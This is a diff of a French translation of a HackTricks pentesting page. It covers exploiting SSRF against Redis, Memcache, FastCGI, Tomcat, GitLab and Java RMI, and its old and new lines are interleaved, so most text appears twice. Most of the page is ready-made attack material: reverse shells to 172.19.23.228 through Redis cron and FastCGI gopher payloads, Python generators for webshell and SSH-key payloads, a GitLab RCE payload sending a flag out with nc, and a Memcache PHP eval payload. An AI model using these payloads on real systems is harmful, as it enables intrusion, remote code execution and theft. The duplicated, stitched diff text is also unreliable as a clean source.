Cette vulnérabilité affecte les instances Gitlab antérieures à la version 13.1.1. Selon la [documentation de Gitlab](https://docs.gitlab.com/ee/administration/monitoring/prometheus/#configuring-prometheus), `Prometheus et ses exportateurs sont activés par défaut à partir de GitLab 9.0.`
|
||||
Cette vulnérabilité affecte les instances Gitlab avant la version 13.1.1. Selon la [documentation Gitlab](https://docs.gitlab.com/ee/administration/monitoring/prometheus/#configuring-prometheus) `Prometheus et ses exportateurs sont activés par défaut, à partir de GitLab 9.0.`
|
||||
|
||||
Ces exportateurs fournissent une excellente méthode pour qu'un attaquant pivote et attaque d'autres services en utilisant CVE-2020-13379. L'un des exportateurs qui est facilement exploité est l'exportateur Redis.
|
||||
Ces exportateurs fournissent une excellente méthode pour un attaquant de pivoter et d'attaquer d'autres services en utilisant CVE-2020-13379. L'un des exportateurs qui est facilement exploité est l'Exportateur Redis.
|
||||
|
||||
Le point de terminaison suivant permettra à un attaquant de récupérer toutes les clés du serveur Redis fournies via le paramètre cible :
|
||||
Le point de terminaison suivant permettra à un attaquant de vider toutes les clés dans le serveur redis fourni via le paramètre target :
|
||||
```bash
|
||||
http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=*
|
||||
```
|
||||
|
@ -577,14 +428,14 @@ http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=*
|
|||
|
||||
## Redis
|
||||
|
||||
**Port communément utilisé : 6379**
|
||||
**Port habituellement utilisé : 6379**
|
||||
|
||||
Lecture recommandée :
|
||||
Lectures recommandées :
|
||||
|
||||
* [Essayer de pirater Redis via des requêtes HTTP](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html)
|
||||
* [Essayer de pirater Redis via des requêtes HTTP](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html)
|
||||
* [Exploits SSRF contre Redis](https://maxchadwick.xyz/blog/ssrf-exploits-against-redis)
|
||||
|
||||
**RCE via Cron** - [Surfaces d'attaque Gopher](https://blog.chaitin.cn/gopher-attack-surfaces/)
|
||||
**Exécution de code à distance via Cron** - [Surfaces d'attaque Gopher](https://blog.chaitin.cn/gopher-attack-surfaces/)
|
||||
```bash
|
||||
redis-cli -h $1 flushall
|
||||
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1
|
||||
|
@ -592,33 +443,11 @@ redis-cli -h $1 config set dir /var/spool/cron/
|
|||
redis-cli -h $1 config set dbfilename root
|
||||
redis-cli -h $1 save
|
||||
```
|
||||
# Plateformes vulnérables à SSRF
|
||||
|
||||
Les vulnérabilités de Server-Side Request Forgery (SSRF) peuvent être exploitées sur plusieurs plateformes pour effectuer des requêtes non autorisées depuis le serveur cible. Cela peut permettre à un attaquant de contourner les restrictions de sécurité et d'accéder à des ressources sensibles.
|
||||
|
||||
## Plateformes vulnérables courantes
|
||||
|
||||
Voici quelques-unes des plateformes couramment vulnérables à SSRF :
|
||||
|
||||
1. **Gopher** : Gopher est un protocole de transfert de données qui permet de récupérer des ressources à partir d'un serveur distant. Les applications qui prennent en charge le protocole Gopher peuvent être vulnérables à SSRF si elles ne filtrent pas correctement les URL fournies par l'utilisateur.
|
||||
|
||||
Exemple de syntaxe d'URL Gopher vulnérable :
|
||||
|
||||
```gopher
|
||||
gopher://attacker.com:80/_URL_
|
||||
```
|
||||
|
||||
L'URL `_URL_` peut être utilisée pour effectuer des requêtes vers des ressources internes du réseau, telles que des fichiers locaux ou des services non autorisés.
|
||||
|
||||
2. **Autres plateformes** : Outre Gopher, il existe d'autres plateformes qui peuvent être vulnérables à SSRF, notamment les services de stockage en nuage, les serveurs de messagerie, les serveurs DNS, les serveurs de base de données, les serveurs de fichiers, etc. Les vulnérabilités SSRF sur ces plateformes peuvent permettre à un attaquant d'accéder à des données sensibles ou de compromettre le système.
|
||||
|
||||
## Conclusion
|
||||
|
||||
Il est essentiel de comprendre les plateformes vulnérables à SSRF afin de pouvoir les identifier et les sécuriser correctement. En tant que testeur de pénétration, il est important de vérifier si une application ou une plateforme est vulnérable à SSRF et de signaler ces vulnérabilités aux propriétaires du système afin qu'ils puissent prendre les mesures appropriées pour les corriger.
|
||||
Gopher:
|
||||
```bash
|
||||
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
|
||||
```
|
||||
**RCE via Shell Upload (PHP)** - [Résumé de l'obtention d'un shell via Redis](https://www.mdeditor.tw/pl/pBy0)
|
||||
**Exécution de commande à distance via téléversement de Shell (PHP)** - [Résumé de Redis Getshell](https://www.mdeditor.tw/pl/pBy0)
|
||||
```python
|
||||
#!/usr/bin/env python
|
||||
# -*-coding:utf-8-*-
|
||||
|
@ -656,7 +485,7 @@ for x in cmd:
|
|||
payload += urllib.quote(redis_format(x))
|
||||
print payload
|
||||
```
|
||||
**RCE via authorized\_keys** - [Résumé de la prise de contrôle de Redis](https://www.mdeditor.tw/pl/pBy0)
|
||||
**RCE via authorized_keys** - [Résumé de Redis Getshell](https://www.mdeditor.tw/pl/pBy0)
|
||||
```python
|
||||
import urllib
|
||||
protocol="gopher://"
|
||||
|
@ -691,11 +520,11 @@ for x in cmd:
|
|||
payload += urllib.quote(redis_format(x))
|
||||
print payload
|
||||
```
|
||||
**RCE sur GitLab via le protocole Git**
|
||||
**Exécution de code à distance sur GitLab via le protocole Git**
|
||||
|
||||
Excellent article de Liveoverflow [ici](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/).
|
||||
|
||||
Bien que cela nécessite un accès authentifié à GitLab pour être exploité, je vais inclure la charge utile ici car le protocole `git` peut fonctionner sur la cible que vous piratez. Cette charge utile est fournie à titre de référence.
|
||||
Bien que cela nécessite un accès authentifié à GitLab pour être exploité, j'inclus ici le payload car le protocole `git` peut fonctionner sur la cible que vous piratez. Ce payload est à titre de référence.
|
||||
```bash
|
||||
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
|
||||
```
|
||||
|
@ -705,36 +534,36 @@ git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agit
|
|||
|
||||
* [vBulletin Memcache RCE](https://www.exploit-db.com/exploits/37815)
|
||||
* [GitHub Enterprise Memcache RCE](https://www.exploit-db.com/exploits/42392)
|
||||
* [Exemple de charge utile Gopher pour Memcache](https://blog.safebuff.com/2016/07/03/SSRF-Tips/#SSRF-memcache-Getshell)
|
||||
* [Exemple de payload Gopher pour Memcache](https://blog.safebuff.com/2016/07/03/SSRF-Tips/#SSRF-memcache-Getshell)
|
||||
```bash
|
||||
gopher://[target ip]:11211/_%0d%0aset ssrftest 1 0 147%0d%0aa:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";s:5:"/.*/e";s:7:"replace";s:33:"eval(base64_decode($_POST[ccc]));";}}s:13:"rewritestatus";i:1;}%0d%0a
|
||||
gopher://192.168.10.12:11211/_%0d%0adelete ssrftest%0d%0a
|
||||
```
|
||||
## Apache Tomcat
|
||||
|
||||
**Ports couramment utilisés : 80, 443 (SSL), 8080, 8443 (SSL)**
|
||||
**Ports couramment utilisés : 80,443 (SSL),8080,8443 (SSL)**
|
||||
|
||||
Efficace uniquement contre Tomcat 6 :
|
||||
|
||||
[gopher-tomcat-deployer](https://github.com/pimps/gopher-tomcat-deployer)
|
||||
|
||||
Rédaction d'un CTF utilisant cette technique :
|
||||
Writeup de CTF utilisant cette technique :
|
||||
|
||||
[De XXE à RCE : Pwn2Win CTF 2018 Writeup](https://bookgin.tw/2018/12/04/from-xxe-to-rce-pwn2win-ctf-2018-writeup/)
|
||||
|
||||
## FastCGI
|
||||
|
||||
**Ports couramment utilisés : 80, 443 (SSL)**
|
||||
**Ports couramment utilisés : 80,443 (SSL)**
|
||||
|
||||
Cela a été pris à partir de [ici](https://blog.chaitin.cn/gopher-attack-surfaces/).
|
||||
Ceci a été pris [ici](https://blog.chaitin.cn/gopher-attack-surfaces/).
|
||||
```bash
|
||||
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00
|
||||
```
|
||||
## Java RMI
|
||||
|
||||
**Ports couramment liés : 1090, 1098, 1099, 1199, 4443-4446, 8999-9010, 9999**
|
||||
**Ports couramment utilisés : 1090,1098,1099,1199,4443-4446,8999-9010,9999**
|
||||
|
||||
Les vulnérabilités _SSRF_ aveugles qui permettent l'utilisation d'octets arbitraires (basées sur _gopher_) peuvent être utilisées pour effectuer des attaques de désérialisation ou de codebase sur les composants par défaut de _Java RMI_ (registre RMI, collecteur de déchets distribué, système d'activation). Un compte rendu détaillé peut être trouvé [ici](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/). L'exemple suivant montre la génération de la charge utile :
|
||||
Les vulnérabilités _SSRF_ aveugles qui permettent l'envoi d'octets arbitraires (_basées sur gopher_) peuvent être utilisées pour réaliser des attaques de désérialisation ou d'attaque de base de code sur les composants par défaut de _Java RMI_ (_RMI Registry_, _Distributed Garbage Collector_, _Activation System_). Un article détaillé est disponible [ici](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/). La liste suivante montre un exemple de génération de payload :
|
||||
```
|
||||
$ rmg serial 127.0.0.1 1090 CommonsCollections6 'curl example.burpcollaborator.net' --component reg --ssrf --gopher
|
||||
[+] Creating ysoserial payload... done.
|
||||
|
@ -745,12 +574,14 @@ $ rmg serial 127.0.0.1 1090 CommonsCollections6 'curl example.burpcollaborator.n
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue